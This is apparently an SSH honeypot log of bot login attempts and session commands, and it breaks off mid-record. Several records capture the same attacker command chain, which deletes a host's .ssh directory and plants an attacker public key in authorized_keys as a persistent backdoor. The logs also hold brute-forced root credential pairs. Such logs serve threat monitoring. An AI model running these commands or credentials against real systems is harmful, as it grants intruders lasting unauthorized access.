Adversarial Observation Interface

116.109.216.74

2026-07-07 04:29:13.825545 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: f76ef5992c44

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f76ef5992c44",
  "src_ip": "116.109.216.74",
  "start_time": "2026-07-07T04:29:13.825545Z",
  "end_time": "2026-07-07T04:29:15.203606Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

116.109.216.74

2026-07-07 04:29:11.232222 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 3e63414698a3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3e63414698a3",
  "src_ip": "116.109.216.74",
  "start_time": "2026-07-07T04:29:11.232222Z",
  "end_time": "2026-07-07T04:29:13.608763Z",
  "duration": "2.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

116.109.216.74

2026-07-07 04:29:08.399759 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 111213

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: ccc80a4d57df

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ccc80a4d57df",
  "src_ip": "116.109.216.74",
  "start_time": "2026-07-07T04:29:08.399759Z",
  "end_time": "2026-07-07T04:29:15.206611Z",
  "duration": "6.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "111213"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

117.50.73.90

2026-07-07 04:27:03.345921 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 76276a0bb5d6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "76276a0bb5d6",
  "src_ip": "117.50.73.90",
  "start_time": "2026-07-07T04:27:03.345921Z",
  "end_time": "2026-07-07T04:29:03.358055Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

187.56.133.95

2026-07-07 04:26:54.563022 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: c7533db2816b

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "c7533db2816b",
  "src_ip": "187.56.133.95",
  "start_time": "2026-07-07T04:26:54.563022Z",
  "end_time": "2026-07-07T04:26:55.693547Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

187.56.133.95

2026-07-07 04:26:52.310874 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: afc7c6d99236

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "afc7c6d99236",
  "src_ip": "187.56.133.95",
  "start_time": "2026-07-07T04:26:52.310874Z",
  "end_time": "2026-07-07T04:26:54.394945Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

187.56.133.95

2026-07-07 04:26:49.895200 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / A100s200

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 717a61b70ec7

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 5.8s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "717a61b70ec7",
  "src_ip": "187.56.133.95",
  "start_time": "2026-07-07T04:26:49.895200Z",
  "end_time": "2026-07-07T04:26:55.689597Z",
  "duration": "5.8",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "A100s200"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

118.196.92.141

2026-07-07 04:26:40.086037 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4bb370b64fe5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1m 3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4bb370b64fe5",
  "src_ip": "118.196.92.141",
  "start_time": "2026-07-07T04:26:40.086037Z",
  "end_time": "2026-07-07T04:27:43.056420Z",
  "duration": "63.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-07 04:19:57.835673 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: c342ee90eaaa

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "c342ee90eaaa",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T04:19:57.835673Z",
  "end_time": "2026-07-07T04:19:58.994996Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.143.11.150

2026-07-07 04:12:26.327933 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 912225285afc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "912225285afc",
  "src_ip": "103.143.11.150",
  "start_time": "2026-07-07T04:12:26.327933Z",
  "end_time": "2026-07-07T04:12:26.483741Z",
  "duration": "0.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

103.143.11.150

2026-07-07 04:12:25.162390 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 3d8efe4e7fc7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3d8efe4e7fc7",
  "src_ip": "103.143.11.150",
  "start_time": "2026-07-07T04:12:25.162390Z",
  "end_time": "2026-07-07T04:12:26.312458Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.143.11.150

2026-07-07 04:12:24.784854 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Zxc12345

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: c07246b4340f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c07246b4340f",
  "src_ip": "103.143.11.150",
  "start_time": "2026-07-07T04:12:24.784854Z",
  "end_time": "2026-07-07T04:12:26.480787Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Zxc12345"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

146.185.142.238

2026-07-07 04:07:40.688094 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / iirtheory1123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ hostname

Record ID: 95e506b7c66c

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "95e506b7c66c",
  "src_ip": "146.185.142.238",
  "start_time": "2026-07-07T04:07:40.688094Z",
  "end_time": "2026-07-07T04:07:41.896501Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "iirtheory1123"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

146.185.142.238

2026-07-07 04:07:40.675586 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / iirtheory1@

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ hostname

Record ID: 21d61c15b49d

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "21d61c15b49d",
  "src_ip": "146.185.142.238",
  "start_time": "2026-07-07T04:07:40.675586Z",
  "end_time": "2026-07-07T04:07:41.894249Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "iirtheory1@"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

146.185.142.238

2026-07-07 04:07:40.671817 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / iirtheory1!@

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ hostname

Record ID: b5efc21341b9

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "b5efc21341b9",
  "src_ip": "146.185.142.238",
  "start_time": "2026-07-07T04:07:40.671817Z",
  "end_time": "2026-07-07T04:07:41.825501Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "iirtheory1!@"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

63.46.42.51

2026-07-07 04:07:28.921275 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 92ed2fef5079

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.1s

HASSH Fingerprint: fe14ae6404f6783e0d2f9fad48007abd

{
  "id": "92ed2fef5079",
  "src_ip": "63.46.42.51",
  "start_time": "2026-07-07T04:07:28.921275Z",
  "end_time": "2026-07-07T04:07:29.023174Z",
  "duration": "0.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "fe14ae6404f6783e0d2f9fad48007abd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

135.116.20.17

2026-07-07 04:03:22.539190 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 1f511c1eb36d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1f511c1eb36d",
  "src_ip": "135.116.20.17",
  "start_time": "2026-07-07T04:03:22.539190Z",
  "end_time": "2026-07-07T04:03:23.539184Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

135.116.20.17

2026-07-07 04:03:20.394156 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 6718679f88bb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6718679f88bb",
  "src_ip": "135.116.20.17",
  "start_time": "2026-07-07T04:03:20.394156Z",
  "end_time": "2026-07-07T04:03:22.375983Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.227.254.170

2026-07-07 04:03:18.594166 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2f71c358b81a

Client Version: SSH-2.0-PUTTY

Engagement Duration: 0.9s

HASSH Fingerprint: 5bd26477da5440a6187bd3f1b39a429c

{
  "id": "2f71c358b81a",
  "src_ip": "45.227.254.170",
  "start_time": "2026-07-07T04:03:18.594166Z",
  "end_time": "2026-07-07T04:03:19.479035Z",
  "duration": "0.9",
  "version": "SSH-2.0-PUTTY",
  "hassh": "5bd26477da5440a6187bd3f1b39a429c",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

135.116.20.17

2026-07-07 04:03:18.383772 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / zl123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: f39859e8b874

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f39859e8b874",
  "src_ip": "135.116.20.17",
  "start_time": "2026-07-07T04:03:18.383772Z",
  "end_time": "2026-07-07T04:03:23.534913Z",
  "duration": "5.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "zl123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
